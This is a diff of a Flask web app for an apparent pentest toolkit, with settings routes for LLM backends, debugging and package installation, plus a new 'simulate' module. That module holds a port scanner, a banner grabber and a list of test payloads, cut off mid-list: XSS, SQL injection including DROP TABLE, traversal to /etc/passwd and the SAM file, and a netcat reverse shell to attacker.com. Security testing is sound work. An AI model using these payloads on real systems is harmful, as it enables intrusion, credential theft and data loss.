||||
return render_template('settings.html',
|
||||
llm_backend=config.get('autarch', 'llm_backend', 'local'),
|
||||
llama=config.get_llama_settings(),
|
||||
transformers=config.get_transformers_settings(),
|
||||
claude=config.get_claude_settings(),
|
||||
huggingface=config.get_huggingface_settings(),
|
||||
osint=config.get_osint_settings(),
|
||||
pentest=config.get_pentest_settings(),
|
||||
upnp=config.get_upnp_settings(),
|
||||
debug_enabled=_debug_enabled,
|
||||
)
|
||||
|
||||
|
||||
@settings_bp.route('/password', methods=['POST'])
|
||||
@login_required
|
||||
def change_password():
|
||||
new_pass = request.form.get('new_password', '')
|
||||
confirm = request.form.get('confirm_password', '')
|
||||
|
||||
if not new_pass or len(new_pass) < 4:
|
||||
flash('Password must be at least 4 characters.', 'error')
|
||||
return redirect(url_for('settings.index'))
|
||||
|
||||
if new_pass != confirm:
|
||||
flash('Passwords do not match.', 'error')
|
||||
return redirect(url_for('settings.index'))
|
||||
|
||||
creds = load_credentials()
|
||||
save_credentials(creds['username'], hash_password(new_pass), force_change=False)
|
||||
flash('Password updated.', 'success')
|
||||
return redirect(url_for('settings.index'))
|
||||
|
||||
|
||||
@settings_bp.route('/osint', methods=['POST'])
|
||||
@login_required
|
||||
def update_osint():
|
||||
config = current_app.autarch_config
|
||||
config.set('osint', 'max_threads', request.form.get('max_threads', '8'))
|
||||
config.set('osint', 'timeout', request.form.get('timeout', '8'))
|
||||
config.set('osint', 'include_nsfw', 'true' if request.form.get('include_nsfw') else 'false')
|
||||
config.save()
|
||||
flash('OSINT settings updated.', 'success')
|
||||
return redirect(url_for('settings.index'))
|
||||
|
||||
|
||||
@settings_bp.route('/upnp', methods=['POST'])
|
||||
@login_required
|
||||
def update_upnp():
|
||||
config = current_app.autarch_config
|
||||
config.set('upnp', 'enabled', 'true' if request.form.get('enabled') else 'false')
|
||||
config.set('upnp', 'internal_ip', request.form.get('internal_ip', '10.0.0.26'))
|
||||
config.set('upnp', 'refresh_hours', request.form.get('refresh_hours', '12'))
|
||||
config.set('upnp', 'mappings', request.form.get('mappings', ''))
|
||||
config.save()
|
||||
flash('UPnP settings updated.', 'success')
|
||||
return redirect(url_for('settings.index'))
|
||||
|
||||
|
||||
@settings_bp.route('/llm', methods=['POST'])
|
||||
@login_required
|
||||
def update_llm():
|
||||
config = current_app.autarch_config
|
||||
backend = request.form.get('backend', 'local')
|
||||
|
||||
if backend == 'local':
|
||||
config.set('llama', 'model_path', request.form.get('model_path', ''))
|
||||
config.set('llama', 'n_ctx', request.form.get('n_ctx', '4096'))
|
||||
config.set('llama', 'n_threads', request.form.get('n_threads', '4'))
|
||||
config.set('llama', 'n_gpu_layers', request.form.get('n_gpu_layers', '0'))
|
||||
config.set('llama', 'n_batch', request.form.get('n_batch', '512'))
|
||||
config.set('llama', 'temperature', request.form.get('temperature', '0.7'))
|
||||
config.set('llama', 'top_p', request.form.get('top_p', '0.9'))
|
||||
config.set('llama', 'top_k', request.form.get('top_k', '40'))
|
||||
config.set('llama', 'repeat_penalty', request.form.get('repeat_penalty', '1.1'))
|
||||
config.set('llama', 'max_tokens', request.form.get('max_tokens', '2048'))
|
||||
config.set('llama', 'seed', request.form.get('seed', '-1'))
|
||||
config.set('llama', 'rope_scaling_type', request.form.get('rope_scaling_type', '0'))
|
||||
config.set('llama', 'mirostat_mode', request.form.get('mirostat_mode', '0'))
|
||||
config.set('llama', 'mirostat_tau', request.form.get('mirostat_tau', '5.0'))
|
||||
config.set('llama', 'mirostat_eta', request.form.get('mirostat_eta', '0.1'))
|
||||
config.set('llama', 'flash_attn', 'true' if request.form.get('flash_attn') else 'false')
|
||||
config.set('llama', 'gpu_backend', request.form.get('gpu_backend', 'cpu'))
|
||||
elif backend == 'transformers':
|
||||
config.set('transformers', 'model_path', request.form.get('model_path', ''))
|
||||
config.set('transformers', 'device', request.form.get('device', 'auto'))
|
||||
config.set('transformers', 'torch_dtype', request.form.get('torch_dtype', 'auto'))
|
||||
config.set('transformers', 'load_in_8bit', 'true' if request.form.get('load_in_8bit') else 'false')
|
||||
config.set('transformers', 'load_in_4bit', 'true' if request.form.get('load_in_4bit') else 'false')
|
||||
config.set('transformers', 'llm_int8_enable_fp32_cpu_offload', 'true' if request.form.get('llm_int8_enable_fp32_cpu_offload') else 'false')
|
||||
config.set('transformers', 'device_map', request.form.get('device_map', 'auto'))
|
||||
config.set('transformers', 'trust_remote_code', 'true' if request.form.get('trust_remote_code') else 'false')
|
||||
config.set('transformers', 'use_fast_tokenizer', 'true' if request.form.get('use_fast_tokenizer') else 'false')
|
||||
config.set('transformers', 'padding_side', request.form.get('padding_side', 'left'))
|
||||
config.set('transformers', 'do_sample', 'true' if request.form.get('do_sample') else 'false')
|
||||
config.set('transformers', 'num_beams', request.form.get('num_beams', '1'))
|
||||
config.set('transformers', 'temperature', request.form.get('temperature', '0.7'))
|
||||
config.set('transformers', 'top_p', request.form.get('top_p', '0.9'))
|
||||
config.set('transformers', 'top_k', request.form.get('top_k', '40'))
|
||||
config.set('transformers', 'repetition_penalty', request.form.get('repetition_penalty', '1.1'))
|
||||
config.set('transformers', 'max_tokens', request.form.get('max_tokens', '2048'))
|
||||
elif backend == 'claude':
|
||||
config.set('claude', 'model', request.form.get('model', 'claude-sonnet-4-20250514'))
|
||||
api_key = request.form.get('api_key', '')
|
||||
if api_key:
|
||||
config.set('claude', 'api_key', api_key)
|
||||
config.set('claude', 'max_tokens', request.form.get('max_tokens', '4096'))
|
||||
config.set('claude', 'temperature', request.form.get('temperature', '0.7'))
|
||||
elif backend == 'huggingface':
|
||||
config.set('huggingface', 'model', request.form.get('model', 'mistralai/Mistral-7B-Instruct-v0.3'))
|
||||
api_key = request.form.get('api_key', '')
|
||||
if api_key:
|
||||
config.set('huggingface', 'api_key', api_key)
|
||||
config.set('huggingface', 'endpoint', request.form.get('endpoint', ''))
|
||||
config.set('huggingface', 'provider', request.form.get('provider', 'auto'))
|
||||
config.set('huggingface', 'max_tokens', request.form.get('max_tokens', '1024'))
|
||||
config.set('huggingface', 'temperature', request.form.get('temperature', '0.7'))
|
||||
config.set('huggingface', 'top_p', request.form.get('top_p', '0.9'))
|
||||
config.set('huggingface', 'top_k', request.form.get('top_k', '40'))
|
||||
config.set('huggingface', 'repetition_penalty', request.form.get('repetition_penalty', '1.1'))
|
||||
config.set('huggingface', 'do_sample', 'true' if request.form.get('do_sample') else 'false')
|
||||
config.set('huggingface', 'seed', request.form.get('seed', '-1'))
|
||||
config.set('huggingface', 'stop_sequences', request.form.get('stop_sequences', ''))
|
||||
elif backend == 'openai':
|
||||
config.set('openai', 'model', request.form.get('model', 'gpt-4o'))
|
||||
api_key = request.form.get('api_key', '')
|
||||
if api_key:
|
||||
config.set('openai', 'api_key', api_key)
|
||||
config.set('openai', 'base_url', request.form.get('base_url', 'https://api.openai.com/v1'))
|
||||
config.set('openai', 'max_tokens', request.form.get('max_tokens', '4096'))
|
||||
config.set('openai', 'temperature', request.form.get('temperature', '0.7'))
|
||||
config.set('openai', 'top_p', request.form.get('top_p', '1.0'))
|
||||
config.set('openai', 'frequency_penalty', request.form.get('frequency_penalty', '0.0'))
|
||||
config.set('openai', 'presence_penalty', request.form.get('presence_penalty', '0.0'))
|
||||
|
||||
# Switch active backend
|
||||
config.set('autarch', 'llm_backend', backend)
|
||||
config.save()
|
||||
|
||||
_log = logging.getLogger('autarch.settings')
|
||||
_log.info(f"[Settings] LLM backend switched to: {backend}")
|
||||
|
||||
# Reset LLM instance so next request triggers fresh load
|
||||
try:
|
||||
from core.llm import reset_llm
|
||||
reset_llm()
|
||||
_log.info("[Settings] LLM instance reset — will reload on next chat request")
|
||||
except Exception as exc:
|
||||
_log.error(f"[Settings] reset_llm() error: {exc}", exc_info=True)
|
||||
|
||||
flash(f'LLM backend switched to {backend} and settings saved.', 'success')
|
||||
return redirect(url_for('settings.llm_settings'))
|
||||
|
||||
|
||||
# ── LLM Settings Sub-Page ─────────────────────────────────────────────────────
|
||||
|
||||
@settings_bp.route('/llm')
|
||||
@login_required
|
||||
def llm_settings():
|
||||
config = current_app.autarch_config
|
||||
from core.paths import get_app_dir
|
||||
default_models_dir = str(get_app_dir() / 'models')
|
||||
return render_template('llm_settings.html',
|
||||
llm_backend=config.get('autarch', 'llm_backend', 'local'),
|
||||
llama=config.get_llama_settings(),
|
||||
transformers=config.get_transformers_settings(),
|
||||
claude=config.get_claude_settings(),
|
||||
openai=config.get_openai_settings(),
|
||||
huggingface=config.get_huggingface_settings(),
|
||||
default_models_dir=default_models_dir,
|
||||
)
|
||||
|
||||
|
||||
@settings_bp.route('/llm/load', methods=['POST'])
|
||||
@login_required
|
||||
def llm_load():
|
||||
"""Force-load the currently configured LLM backend and return status."""
|
||||
_log = logging.getLogger('autarch.settings')
|
||||
try:
|
||||
from core.llm import reset_llm, get_llm
|
||||
from core.config import get_config
|
||||
config = get_config()
|
||||
backend = config.get('autarch', 'llm_backend', 'local')
|
||||
_log.info(f"[LLM Load] Requested by user — backend: {backend}")
|
||||
reset_llm()
|
||||
llm = get_llm()
|
||||
model_name = llm.model_name if hasattr(llm, 'model_name') else 'unknown'
|
||||
_log.info(f"[LLM Load] Success — backend: {backend} | model: {model_name}")
|
||||
return jsonify({'ok': True, 'backend': backend, 'model_name': model_name})
|
||||
except Exception as exc:
|
||||
_log.error(f"[LLM Load] Failed: {exc}", exc_info=True)
|
||||
return jsonify({'ok': False, 'error': str(exc)})
|
||||
|
||||
|
||||
@settings_bp.route('/llm/scan-models', methods=['POST'])
|
||||
@login_required
|
||||
def llm_scan_models():
|
||||
"""Scan a folder for supported local model files and return a list."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
folder = data.get('folder', '').strip()
|
||||
if not folder:
|
||||
return jsonify({'ok': False, 'error': 'No folder provided'})
|
||||
|
||||
folder_path = Path(folder)
|
||||
if not folder_path.is_dir():
|
||||
return jsonify({'ok': False, 'error': f'Directory not found: {folder}'})
|
||||
|
||||
models = []
|
||||
try:
|
||||
# GGUF / GGML / legacy bin files (single-file models)
|
||||
for ext in ('*.gguf', '*.ggml', '*.bin'):
|
||||
for p in sorted(folder_path.glob(ext)):
|
||||
size_mb = p.stat().st_size / (1024 * 1024)
|
||||
models.append({
|
||||
'name': p.name,
|
||||
'path': str(p),
|
||||
'type': 'gguf' if p.suffix in ('.gguf', '.ggml') else 'bin',
|
||||
'size_mb': round(size_mb, 1),
|
||||
})
|
||||
|
||||
# SafeTensors model directories (contain config.json + *.safetensors)
|
||||
for child in sorted(folder_path.iterdir()):
|
||||
if not child.is_dir():
|
||||
continue
|
||||
has_config = (child / 'config.json').exists()
|
||||
has_st = any(child.glob('*.safetensors'))
|
||||
has_st_index = (child / 'model.safetensors.index.json').exists()
|
||||
if has_config and (has_st or has_st_index):
|
||||
total_mb = sum(
|
||||
p.stat().st_size for p in child.glob('*.safetensors')
|
||||
) / (1024 * 1024)
|
||||
models.append({
|
||||
'name': child.name + '/',
|
||||
'path': str(child),
|
||||
'type': 'safetensors',
|
||||
'size_mb': round(total_mb, 1),
|
||||
})
|
||||
|
||||
# Also scan one level of subdirectories for GGUF files
|
||||
for child in sorted(folder_path.iterdir()):
|
||||
if not child.is_dir():
|
||||
continue
|
||||
for ext in ('*.gguf', '*.ggml'):
|
||||
for p in sorted(child.glob(ext)):
|
||||
size_mb = p.stat().st_size / (1024 * 1024)
|
||||
models.append({
|
||||
'name': child.name + '/' + p.name,
|
||||
'path': str(p),
|
||||
'type': 'gguf',
|
||||
'size_mb': round(size_mb, 1),
|
||||
})
|
||||
|
||||
return jsonify({'ok': True, 'models': models, 'folder': str(folder_path)})
|
||||
except PermissionError as e:
|
||||
return jsonify({'ok': False, 'error': f'Permission denied: {e}'})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/llm/hf-verify', methods=['POST'])
|
||||
@login_required
|
||||
def llm_hf_verify():
|
||||
"""Verify a HuggingFace token and return account info."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
token = data.get('token', '').strip()
|
||||
if not token:
|
||||
return jsonify({'ok': False, 'error': 'No token provided'})
|
||||
try:
|
||||
from huggingface_hub import HfApi
|
||||
api = HfApi(token=token)
|
||||
info = api.whoami()
|
||||
return jsonify({'ok': True, 'username': info.get('name', ''), 'email': info.get('email', '')})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
# ── MCP Server API ───────────────────────────────────────────
|
||||
|
||||
@settings_bp.route('/mcp/status', methods=['POST'])
|
||||
@login_required
|
||||
def mcp_status():
|
||||
try:
|
||||
from core.mcp_server import get_server_status, get_autarch_tools
|
||||
status = get_server_status()
|
||||
tools = [{'name': t['name'], 'description': t['description']} for t in get_autarch_tools()]
|
||||
return jsonify({'ok': True, 'status': status, 'tools': tools})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/mcp/start', methods=['POST'])
|
||||
@login_required
|
||||
def mcp_start():
|
||||
try:
|
||||
from core.mcp_server import start_sse_server
|
||||
config = current_app.autarch_config
|
||||
port = int(config.get('web', 'mcp_port', fallback='8081'))
|
||||
result = start_sse_server(port=port)
|
||||
return jsonify(result)
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/mcp/stop', methods=['POST'])
|
||||
@login_required
|
||||
def mcp_stop():
|
||||
try:
|
||||
from core.mcp_server import stop_sse_server
|
||||
result = stop_sse_server()
|
||||
return jsonify(result)
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/mcp/config', methods=['POST'])
|
||||
@login_required
|
||||
def mcp_config():
|
||||
try:
|
||||
from core.mcp_server import get_mcp_config_snippet
|
||||
return jsonify({'ok': True, 'config': get_mcp_config_snippet()})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
# ── Discovery API ────────────────────────────────────────────
|
||||
|
||||
@settings_bp.route('/discovery/status', methods=['POST'])
|
||||
@login_required
|
||||
def discovery_status():
|
||||
try:
|
||||
from core.discovery import get_discovery_manager
|
||||
mgr = get_discovery_manager()
|
||||
return jsonify({'ok': True, 'status': mgr.get_status()})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/discovery/start', methods=['POST'])
|
||||
@login_required
|
||||
def discovery_start():
|
||||
try:
|
||||
from core.discovery import get_discovery_manager
|
||||
mgr = get_discovery_manager()
|
||||
results = mgr.start_all()
|
||||
return jsonify({'ok': True, 'results': results})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@settings_bp.route('/discovery/stop', methods=['POST'])
|
||||
@login_required
|
||||
def discovery_stop():
|
||||
try:
|
||||
from core.discovery import get_discovery_manager
|
||||
mgr = get_discovery_manager()
|
||||
results = mgr.stop_all()
|
||||
return jsonify({'ok': True, 'results': results})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
# ── Debug Console API ─────────────────────────────────────────────────────────
|
||||
|
||||
@settings_bp.route('/debug/toggle', methods=['POST'])
|
||||
@login_required
|
||||
def debug_toggle():
|
||||
"""Enable or disable the debug log capture."""
|
||||
global _debug_enabled
|
||||
data = request.get_json(silent=True) or {}
|
||||
_debug_enabled = bool(data.get('enabled', False))
|
||||
if _debug_enabled:
|
||||
_ensure_debug_handler()
|
||||
logging.getLogger('autarch.debug').info('Debug console enabled')
|
||||
return jsonify({'ok': True, 'enabled': _debug_enabled})
|
||||
|
||||
|
||||
@settings_bp.route('/debug/stream')
|
||||
@login_required
|
||||
def debug_stream():
|
||||
"""SSE stream — pushes new log records to the browser as they arrive."""
|
||||
def generate():
|
||||
sent = 0
|
||||
while True:
|
||||
buf = list(_debug_buffer)
|
||||
while sent < len(buf):
|
||||
yield f"data: {json.dumps(buf[sent])}\n\n"
|
||||
sent += 1
|
||||
time.sleep(0.25)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@settings_bp.route('/debug/clear', methods=['POST'])
|
||||
@login_required
|
||||
def debug_clear():
|
||||
"""Clear the in-memory debug buffer."""
|
||||
_debug_buffer.clear()
|
||||
return jsonify({'ok': True})
|
||||
|
||||
|
||||
@settings_bp.route('/debug/test', methods=['POST'])
|
||||
@login_required
|
||||
def debug_test():
|
||||
"""Emit one log record at each level so the user can verify the debug window."""
|
||||
log = logging.getLogger('autarch.test')
|
||||
log.debug('DEBUG — detailed diagnostic info, variable states')
|
||||
log.info('INFO — normal operation: module loaded, connection established')
|
||||
log.warning('WARNING — something unexpected but recoverable')
|
||||
log.error('ERROR — an operation failed, check the details below')
|
||||
try:
|
||||
raise ValueError('Example exception to show stack trace capture')
|
||||
except ValueError:
|
||||
log.exception('EXCEPTION — error with full traceback')
|
||||
return jsonify({'ok': True, 'sent': 5})
|
||||
|
||||
|
||||
# ==================== DEPENDENCIES ====================
|
||||
|
||||
@settings_bp.route('/deps')
|
||||
@login_required
|
||||
def deps_index():
|
||||
"""Dependencies management page."""
|
||||
return render_template('system_deps.html')
|
||||
|
||||
|
||||
@settings_bp.route('/deps/check', methods=['POST'])
|
||||
@login_required
|
||||
def deps_check():
|
||||
"""Check all system dependencies."""
|
||||
import sys as _sys
|
||||
|
||||
groups = {
|
||||
'core': {
|
||||
'flask': 'import flask; print(flask.__version__)',
|
||||
'jinja2': 'import jinja2; print(jinja2.__version__)',
|
||||
'requests': 'import requests; print(requests.__version__)',
|
||||
'cryptography': 'import cryptography; print(cryptography.__version__)',
|
||||
},
|
||||
'llm': {
|
||||
'llama-cpp-python': 'import llama_cpp; print(llama_cpp.__version__)',
|
||||
'transformers': 'import transformers; print(transformers.__version__)',
|
||||
'anthropic': 'import anthropic; print(anthropic.__version__)',
|
||||
},
|
||||
'training': {
|
||||
'torch': 'import torch; print(torch.__version__)',
|
||||
'peft': 'import peft; print(peft.__version__)',
|
||||
'datasets': 'import datasets; print(datasets.__version__)',
|
||||
'trl': 'import trl; print(trl.__version__)',
|
||||
'accelerate': 'import accelerate; print(accelerate.__version__)',
|
||||
'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)',
|
||||
'unsloth': 'import unsloth; print(unsloth.__version__)',
|
||||
},
|
||||
'network': {
|
||||
'scapy': 'import scapy; print(scapy.VERSION)',
|
||||
'pyshark': 'import pyshark; print(pyshark.__version__)',
|
||||
'miniupnpc': 'import miniupnpc; print("installed")',
|
||||
'msgpack': 'import msgpack; print(msgpack.version)',
|
||||
'paramiko': 'import paramiko; print(paramiko.__version__)',
|
||||
},
|
||||
'hardware': {
|
||||
'pyserial': 'import serial; print(serial.__version__)',
|
||||
'esptool': 'import esptool; print(esptool.__version__)',
|
||||
'adb-shell': 'import adb_shell; print("installed")',
|
||||
},
|
||||
}
|
||||
|
||||
results = {}
|
||||
for group, packages in groups.items():
|
||||
results[group] = {}
|
||||
for name, cmd in packages.items():
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[_sys.executable, '-c', cmd],
|
||||
capture_output=True, text=True, timeout=15
|
||||
)
|
||||
if result.returncode == 0:
|
||||
results[group][name] = {'installed': True, 'version': result.stdout.strip()}
|
||||
else:
|
||||
results[group][name] = {'installed': False, 'version': None}
|
||||
except Exception:
|
||||
results[group][name] = {'installed': False, 'version': None}
|
||||
|
||||
# GPU info
|
||||
gpu = {}
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[_sys.executable, '-c',
|
||||
'import torch; print(torch.cuda.is_available()); '
|
||||
'print(torch.cuda.get_device_name(0) if torch.cuda.is_available() else "none"); '
|
||||
'print(torch.version.cuda or "none")'],
|
||||
capture_output=True, text=True, timeout=15
|
||||
)
|
||||
if result.returncode == 0:
|
||||
lines = result.stdout.strip().split('\n')
|
||||
gpu['cuda_available'] = lines[0].strip() == 'True'
|
||||
gpu['device'] = lines[1].strip() if len(lines) > 1 else 'none'
|
||||
gpu['cuda_version'] = lines[2].strip() if len(lines) > 2 else 'none'
|
||||
except Exception:
|
||||
gpu['cuda_available'] = False
|
||||
results['gpu'] = gpu
|
||||
|
||||
# Python info
|
||||
import sys as _s
|
||||
results['python'] = {
|
||||
'version': _s.version.split()[0],
|
||||
'executable': _s.executable,
|
||||
'platform': platform.platform(),
|
||||
}
|
||||
|
||||
return jsonify(results)
|
||||
|
||||
|
||||
@settings_bp.route('/deps/install', methods=['POST'])
|
||||
@login_required
|
||||
def deps_install():
|
||||
"""Install packages."""
|
||||
import sys as _sys
|
||||
data = request.get_json(silent=True) or {}
|
||||
packages = data.get('packages', [])
|
||||
if not packages:
|
||||
return jsonify({'error': 'No packages specified'}), 400
|
||||
|
||||
results = []
|
||||
for pkg in packages:
|
||||
# Sanitize package name
|
||||
if not re.match(r'^[a-zA-Z0-9_\-\[\]]+$', pkg):
|
||||
results.append({'package': pkg, 'success': False, 'output': 'Invalid package name'})
|
||||
continue
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[_sys.executable, '-m', 'pip', 'install', pkg, '--quiet'],
|
||||
capture_output=True, text=True, timeout=300
|
||||
)
|
||||
results.append({
|
||||
'package': pkg,
|
||||
'success': result.returncode == 0,
|
||||
'output': result.stdout.strip() or result.stderr.strip()[:200],
|
||||
})
|
||||
except Exception as e:
|
||||
results.append({'package': pkg, 'success': False, 'output': str(e)[:200]})
|
||||
|
||||
return jsonify({'results': results})
|
||||
411
web/routes/simulate.py
Normal file
411
web/routes/simulate.py
Normal file
@@ -0,0 +1,411 @@
|
||||
"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator."""
|
||||
|
||||
import json
|
||||
import socket
|
||||
import hashlib
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')
|
||||
|
||||
|
||||
@simulate_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}
|
||||
return render_template('simulate.html', modules=modules)
|
||||
|
||||
|
||||
@simulate_bp.route('/password', methods=['POST'])
|
||||
@login_required
|
||||
def password_audit():
|
||||
"""Audit password strength."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
password = data.get('password', '')
|
||||
if not password:
|
||||
return jsonify({'error': 'No password provided'})
|
||||
|
||||
score = 0
|
||||
feedback = []
|
||||
|
||||
# Length
|
||||
if len(password) >= 16:
|
||||
score += 3
|
||||
feedback.append('+ Excellent length (16+)')
|
||||
elif len(password) >= 12:
|
||||
score += 2
|
||||
feedback.append('+ Good length (12+)')
|
||||
elif len(password) >= 8:
|
||||
score += 1
|
||||
feedback.append('~ Minimum length (8+)')
|
||||
else:
|
||||
feedback.append('- Too short (<8)')
|
||||
|
||||
# Character diversity
|
||||
has_upper = any(c.isupper() for c in password)
|
||||
has_lower = any(c.islower() for c in password)
|
||||
has_digit = any(c.isdigit() for c in password)
|
||||
has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
|
||||
|
||||
if has_upper:
|
||||
score += 1; feedback.append('+ Contains uppercase')
|
||||
else:
|
||||
feedback.append('- No uppercase letters')
|
||||
if has_lower:
|
||||
score += 1; feedback.append('+ Contains lowercase')
|
||||
else:
|
||||
feedback.append('- No lowercase letters')
|
||||
if has_digit:
|
||||
score += 1; feedback.append('+ Contains numbers')
|
||||
else:
|
||||
feedback.append('- No numbers')
|
||||
if has_special:
|
||||
score += 2; feedback.append('+ Contains special characters')
|
||||
else:
|
||||
feedback.append('~ No special characters')
|
||||
|
||||
# Common patterns
|
||||
common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']
|
||||
if password.lower() in common:
|
||||
score = 0
|
||||
feedback.append('- Extremely common password!')
|
||||
|
||||
# Sequential
|
||||
if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):
|
||||
score -= 1; feedback.append('~ Contains sequential letters')
|
||||
if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):
|
||||
score -= 1; feedback.append('~ Contains sequential numbers')
|
||||
|
||||
# Keyboard patterns
|
||||
for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:
|
||||
if pattern in password.lower():
|
||||
score -= 1; feedback.append('~ Contains keyboard pattern')
|
||||
break
|
||||
|
||||
score = max(0, min(10, score))
|
||||
strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'
|
||||
|
||||
hashes = {
|
||||
'md5': hashlib.md5(password.encode()).hexdigest(),
|
||||
'sha1': hashlib.sha1(password.encode()).hexdigest(),
|
||||
'sha256': hashlib.sha256(password.encode()).hexdigest(),
|
||||
}
|
||||
|
||||
return jsonify({
|
||||
'score': score,
|
||||
'strength': strength,
|
||||
'feedback': feedback,
|
||||
'hashes': hashes,
|
||||
})
|
||||
|
||||
|
||||
@simulate_bp.route('/portscan', methods=['POST'])
|
||||
@login_required
|
||||
def port_scan():
|
||||
"""TCP port scan."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
port_range = data.get('ports', '1-1024').strip()
|
||||
|
||||
if not target:
|
||||
return jsonify({'error': 'No target provided'})
|
||||
|
||||
try:
|
||||
start_port, end_port = map(int, port_range.split('-'))
|
||||
except Exception:
|
||||
return jsonify({'error': 'Invalid port range (format: start-end)'})
|
||||
|
||||
# Limit scan range for web UI
|
||||
if end_port - start_port > 5000:
|
||||
return jsonify({'error': 'Port range too large (max 5000 ports)'})
|
||||
|
||||
try:
|
||||
ip = socket.gethostbyname(target)
|
||||
except Exception:
|
||||
return jsonify({'error': f'Could not resolve {target}'})
|
||||
|
||||
services = {
|
||||
21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns',
|
||||
80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb',
|
||||
3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy',
|
||||
}
|
||||
|
||||
open_ports = []
|
||||
total = end_port - start_port + 1
|
||||
|
||||
for port in range(start_port, end_port + 1):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(0.5)
|
||||
result = sock.connect_ex((ip, port))
|
||||
if result == 0:
|
||||
open_ports.append({
|
||||
'port': port,
|
||||
'service': services.get(port, 'unknown'),
|
||||
'status': 'open',
|
||||
})
|
||||
sock.close()
|
||||
|
||||
return jsonify({
|
||||
'target': target,
|
||||
'ip': ip,
|
||||
'open_ports': open_ports,
|
||||
'scanned': total,
|
||||
})
|
||||
|
||||
|
||||
@simulate_bp.route('/banner', methods=['POST'])
|
||||
@login_required
|
||||
def banner_grab():
|
||||
"""Grab service banner."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
port = data.get('port', 80)
|
||||
|
||||
if not target:
|
||||
return jsonify({'error': 'No target provided'})
|
||||
|
||||
try:
|
||||
port = int(port)
|
||||
except Exception:
|
||||
return jsonify({'error': 'Invalid port'})
|
||||
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(5)
|
||||
sock.connect((target, port))
|
||||
|
||||
if port in [80, 443, 8080, 8443]:
|
||||
sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n")
|
||||
else:
|
||||
sock.send(b"\r\n")
|
||||
|
||||
banner = sock.recv(1024).decode('utf-8', errors='ignore')
|
||||
sock.close()
|
||||
|
||||
return jsonify({'banner': banner or 'No banner received'})
|
||||
|
||||
except socket.timeout:
|
||||
return jsonify({'error': 'Connection timed out'})
|
||||
except ConnectionRefusedError:
|
||||
return jsonify({'error': 'Connection refused'})
|
||||
except Exception as e:
|
||||
return jsonify({'error': str(e)})
|
||||
|
||||
|
||||
@simulate_bp.route('/payloads', methods=['POST'])
|
||||
@login_required
|
||||
def generate_payloads():
|
||||
"""Generate test payloads."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
payload_type = data.get('type', 'xss').lower()
|
||||
|
||||
payloads_db = {
|
||||
'xss': [
|
||||
'<script>alert(1)</script>',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<svg onload=alert(1)>',
|
||||
'"><script>alert(1)</script>',
|
||||
"'-alert(1)-'",
|
||||
'<body onload=alert(1)>',
|
||||
'{{constructor.constructor("alert(1)")()}}',
|
||||
],
|
||||
'sqli': [
|
||||
"' OR '1'='1",
|
||||
"' OR '1'='1' --",
|
||||
"'; DROP TABLE users; --",
|
||||
"1' ORDER BY 1--",
|
||||
"1 UNION SELECT null,null,null--",
|
||||
"' AND 1=1 --",
|
||||
"admin'--",
|
||||
],
|
||||
'cmdi': [
|
||||
"; ls -la",
|
||||
"| cat /etc/passwd",
|
||||
"& whoami",
|
||||
"`id`",
|
||||
"$(whoami)",
|
||||
"; ping -c 3 127.0.0.1",
|
||||
"| nc -e /bin/sh attacker.com 4444",
|
||||
],
|
||||
'traversal': [
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\windows\\system32\\config\\sam",
|
||||
"....//....//....//etc/passwd",
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
